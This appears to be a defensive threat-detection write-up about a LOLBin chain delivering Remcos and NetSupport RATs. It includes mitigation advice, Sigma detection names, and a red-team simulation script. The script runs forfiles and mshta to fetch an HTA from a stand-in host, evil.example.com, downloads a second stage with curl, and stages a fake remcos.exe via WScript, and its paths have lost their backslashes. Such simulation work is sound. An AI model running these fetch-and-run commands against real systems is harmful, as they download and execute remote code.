Follow
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
This report outlines a multi-stage infection chain that aggressively abuses Windows built-in utilities (LOLBins) to retrieve and run remote access tools, including Remcos and NetSupport Manager. The operator chains forfiles, mshta, PowerShell, curl, tar, WScript, and targeted registry changes to stage payloads, establish persistence, and reduce visibility. The workflow also leverages living-off-the-land behavior to blend into routine administrative activity quietly. Malwarebytes identified the activity and blocked the related IP address. Overall, it underscores how broad LOLBin abuse can reliably deliver RATs.
Investigation
Researchers first saw forfiles.exe spawning mshta, which pulled a malicious HTA that executed PowerShell to fetch a PDF decoy carrying a TAR archive. After extraction, a trojanized glaxnimate.exe dropped fragmented components into ProgramData, then reassembled and launched them using WScript, batch scripts, and supporting files. Persistence was set by creating a UserInitMprLogonScript value under HKCUEnvironment that referenced a malicious client binary.
Mitigation
Monitor for anomalous LOLBin execution, particularly forfiles, mshta, curl, tar, expand, and suspicious registry edits within HKCUEnvironment. Enforce application whitelisting, enable comprehensive PowerShell logging, and prevent script execution from ProgramData to constrain staging. Block unusual outbound HTTP to unknown IPs and apply URL filtering to disrupt initial download attempts.
Response
When detected, isolate the host, capture full command-line telemetry, and collect dropped artifacts for hash analysis. Remove the malicious registry entry and purge files created in ProgramData. Run an endpoint scan with current AV signatures, and implement network-level blocking for the attacker’s IP address and any associated domains.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access["<b>Technique</b> – T1218.005: Mshta.exe<br/><b>Description</b> Use forfiles.exe to launch mshta to download HTA"] class initial_access technique process_mshta["<b>Process</b>: mshta.exe<br/><b>Action</b> Executes remote HTA"] class process_mshta process download_htapayload["<b>Action</b> – Download HTA<br/><b>Tool</b> mshta"] class download_htapayload action cmd_execution["<b>Technique</b> – T1059.003: Windows Command Shell<br/><b>Description</b> HTA starts cmd.exe"] class cmd_execution technique powershell_one_liner["<b>Technique</b> – T1059.001: PowerShell<br/><b>Description</b> Oneu2011liner downloads payload as PDF, extracts with tar, launches glaxnimate.exe"] class powershell_one_liner technique local_staging["<b>Technique</b> – T1074.001: Local Staging<br/><b>Description</b> Creates .PART files in ProgramData"] class local_staging technique vbscript_execution["<b>Technique</b> – T1059.005: Visual Basic<br/><b>Description</b> wscript.exe runs processor.vbs which launches hidden cmd to run patcher.bat"] class vbscript_execution technique archive_extraction["<b>Technique</b> – T1560.001: Archive Extraction<br/><b>Description</b> expand extracts setup.cab containing NetSupport RAT"] class archive_extraction technique persistence["<b>Technique</b> – T1547.014: Registry Run Keys Startup Folder<br/><b>Description</b> HKCU\Environment\UserInitMprLogonScript set to client32.exe"] class persistence technique client32["<b>Malware</b> client32.exe<br/><b>Purpose</b> Executes at logon"] class client32 malware glaxnimate["<b>Malware</b> Trojanized glaxnimate.exe<br/><b>Purpose</b> Runs malicious payload"] class glaxnimate malware netsupport["<b>Malware</b> NetSupport RAT<br/><b>Purpose</b> Remote access payload"] class netsupport malware %% Connections initial_access –>|uses| process_mshta process_mshta –>|downloads| download_htapayload download_htapayload –>|executes| cmd_execution cmd_execution –>|triggers| powershell_one_liner powershell_one_liner –>|stages files| local_staging local_staging –>|executes| vbscript_execution vbscript_execution –>|extracts| archive_extraction archive_extraction –>|drops| glaxnimate glaxnimate –>|installs| netsupport netsupport –>|leads to| persistence persistence –>|runs| client32 "
Attack Flow
Detections
LOLBAS WScript / CScript (via process_creation)
View
Suspicious CURL Usage (via cmdline)
View
Possible Persistence Points [ASEPs – Software/NTUSER Hive] (via cmdline)
View
Suspicious Extracted Files from an Archive (via file_event)
View
LOLBAS ForFiles (via cmdline)
View
Detection of LOLBin Abuse for Remote Access Trojan Deployment [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
The red‑team operator aims to deploy the Remcos RAT using a chain of LOLBins to avoid downloading an executable directly.- Discovery & Staging: Use
forfiles.exeto locate a target directory and launchmshtawith a malicious URL that hosts an HTA payload. - File‑less PowerShell download: Invoke
powershell.exewith-NoProfile -Command curlto pull a second stage script from a C2 server. - VBScript Execution: Deploy a crafted
processor.vbsviaWScript.exeto write the RAT binary to%ProgramData%. - Batch Dropper: Run a hidden batch file (
patcher.bat) throughcmd.exeinvoked viaIWshShell3.Runto finalize persistence.
Each step generates a distinct process‑creation event that matches one of the Sigma selections, ensuring the rule fires.
- Discovery & Staging: Use
-
Regression Test Script:
The script below reproduces the four selections in a controlled lab. It logs each command to a temporary file for later verification.#------------------------------------------------- # LOLBin Abuse Simulation – triggers Sigma rule #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> curl download $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log -
Cleanup Commands:
Remove artifacts to restore the host to a clean state.# Cleanup LOLBin simulation artifacts Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Cleanup completed."